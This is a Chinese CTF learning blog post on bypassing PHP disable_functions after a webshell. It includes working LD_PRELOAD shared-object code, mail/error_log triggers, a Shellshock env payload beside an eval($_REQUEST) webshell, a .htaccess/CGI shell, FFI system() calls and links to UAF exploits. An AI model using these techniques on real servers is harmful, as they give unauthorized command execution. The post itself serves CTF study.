• php bypass disable function


    前言

    最近开学,事太多了,好久没更新了,然后稍微闲一点一直在弄这个php bypass disable function,一开始自己的电脑win10安装蚁剑的插件,一直报错。怀疑是必须linux环境。下载github上官方源码又显示压缩包有问题,被搞了几天,心态爆炸。今天登github上下载又莫名其妙可以压缩了。装在虚拟机里,总算可以用了。

    Bypass Disable Functions 专题

    什么是bypass disable function?

    disable_functions可以对危险函数进行禁用。所以我们考虑的是在禁用了函数后,bypass的方法

    首先我们看,我本地的phpinfo中,未对其进行禁用

    在实际情况中,可能会禁用各种危险函数

    ctf常见套路

    本知识点在ctf常见的考察方法为:
    通过传shell,连接进入网站后台后,发现flag文件,但是因为权限的问题,我们无法通过读文件的方法读到内容,又有readflag文件,点开发现其是一个执行文件,如果能够执行readflag内容,即可获得flag。或者使用具有权限的tac命令获取flag tac /flag

    绕过方法

    利用 LD_PRELOAD 环境变量

    网上有讲述的很好的内容,我只精炼的说一下。

    我们通过上传恶意的.so文件,重写相关系统函数,通过设置环境变量。把LD_PRELOAD变量设置为恶意.so文件的路径,只要启动新进程就会优先加载此文件,因为其可控,所以即可达到任意执行系统命令的效果

    步骤:
    通过C语言,写一个恶意动态链接库文件hack.so→设置环境变量恶意的hack.so文件的路径→配合php中函数触发hack.so文件→RCE

    方法1:
    如果要配合php中的某个函数,即需要其在运行时内能够启动子进程,这样才能重新加载环境变量,劫持系统函数,所以这里有两种方法mail和error_log函数都调用了外部进程sendmail
    mail:其运行时,即会启动子进程调用sendmail
    error_log:当其第二个参数设置为1时,即会调用sendmail
    snedmail调用了geteuid函数,所以劫持geteuid

    hack.c文件

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    void payload() {
            system("**payload**");
    }   
    int  geteuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
    }
    

    geteuid被调用,那么会加载payload函数,执行命令。

    生成hack.so动态链接程序(在linux命令行下敲此payload)
    gcc -shared -fPIC hack.c -o hack.so

    编写php脚本

    <?php
    putenv("LD_PRELOAD=./getuid.so");
    mail("","","","","");
    ?>
    
    or
    
    <?php
    putenv("LD_PRELOAD=./test.so");
    error_log('',1);
    ?>
    

    方法2:

    在GCC 有个 C 语言扩展修饰符__attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行__attribute__((constructor))修饰的函数。

    hack.c文件

    #include <stdlib.h>
    #include <string.h>
    __attribute__((constructor))void payload() {
        unsetenv("LD_PRELOAD");
        const char* cmd = getenv("CMD");
        system(cmd);
    }
    

    剩下的生成.so动态链接库等操作与方法1相同

    利用过程:
    手动:将生成的.so文件通过蚁剑上传在/tmp目录下,php脚本放在网页根目录下,通过执行包含此php文件,输出执行的函数结果。
    自动:蚁剑使用bypass disable functions 插件,选择相应的模式,直接运行即可,通过虚拟终端直接执行/readflag

    shellshock

    原理:

    从’{‘开始执行,但是并没有在’}'后停止,也就是说定义在函数体外shell命令也会执行

    其余与LD_PRELOAD类似

    <?php
      @eval($_REQUEST['ant']);
      putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/test.php");
      error_log("admin",1);
      //mail("admin@localhost","","","","");
    ?>
    

    利用过程:
    蚁剑使用bypass disable functions 插件,选择相应的模式,直接运行即可,通过在虚拟终端tac /flag 即可

    Apache Mod CGI

    原理:
    如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令

    在这里稍微说一下mod_cgi。

    1.Mod CGI就是把PHP做为APACHE一个内置模块,让apache http服务器本身能够支持PHP语言,不需要每一个请求都通过启动PHP解释器来解释PHP.
    2.它可以将cgi-script文件或者用户自定义标识头为cgi-script的文件通过服务器运行.
    3.在.htaccess文件中可定制用户定义标识头
    4.添加Options +ExecCGI,代表着允许使用mod_cgi模块执行CGI脚本
    5.添加AddHandler cgi-script .cgi,代表着包含.cgi扩展名的文件都将被视为CGI程序

    所以我们的脚本:
    .htaccess

    Options +ExecCGI
    AddHandler cgi-script .cgi          
    

    shell.cgi

    #!/bin/sh
    echo&&cd "/var/www/html";payload;echo [S];pwd;echo [E]
    

    利用过程:
    手动:新建.htaccess文件→新建shell.cgi文件→最后访问shell.cgi即可执行payload,实现RCE
    自动:蚁剑使用bypass disable functions 插件,选择相应的模式,直接运行即可,通过虚拟终端直接执行/readflag

    PHP-FPM

    具体原理可见这两篇博客,讲的非常详细。我菜鸡一个,就不再讲了

    攻击PHP-FPM 实现Bypass Disable Functions :https://zhuanlan.zhihu.com/p/75114351?from_voters_page=true
    Nginx+Php-fpm 运行原理详解 :https://juejin.im/post/58db7d742f301e007e9a00a7

    利用过程:
    自动:使用蚁剑脚本后,上传了.antproxy.php,创建一个副本,连接此shell,即可直接bypass

    UAF

    这里直接也有大牛现成的poc,直接拿来打就行了

    Json Serializer UAF && PHP7 GC with Certain Destructors UAF
    php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令
    影响范围是linux,php7.0-7.3
    https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

    php-json-bypass漏洞利用json序列化程序中的堆溢出触发,以绕过disable_functions并执行系统命令
    影响范围是linux,php 7.1-7.3
    https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php

    当然直接用蚁剑也是一样的

    FFI

    FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions

    php文件

    $ffi = FFI::cdef("int system(const char *command);");
    $ffi->system("payload > /tmp/123");
    echo file_get_contents("/tmp/123");
    @unlink("/tmp/123");
    

    运行后即可得到执行结果

    总结

    蚁剑的github上有官方环境,不想复现的可以直接在ctfhub上找
    rce这块感觉水很深,尤其是各种乱七八糟不要字母,数字什么构造的,现在又学到了新姿势。继续学习把

    参考文献

    三篇总结bypass disable functions的博文:

    https://www.anquanke.com/post/id/195686?from=timeline#h3-5
    https://www.cnblogs.com/zw1sh/p/12632126.html
    https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions

  • 相关阅读:
    net应用程序池自动关闭的解决方法
    asp.net 多个txt压缩导出下载
    asp.net 对象转XML,XML转对象
    asp.net Cache缓存的用法
    oracle 增加大字段项
    asp.net简繁体转换
    asp.net 根据连接地址保存文件,图片
    SpringSide从系统全局里面取值
    SpringSide dml操作
    一张表里面形成的树,固定初始化数据
  • 原文地址:https://www.cnblogs.com/karsa/p/13051079.html
Copyright © 2020-2023  润新知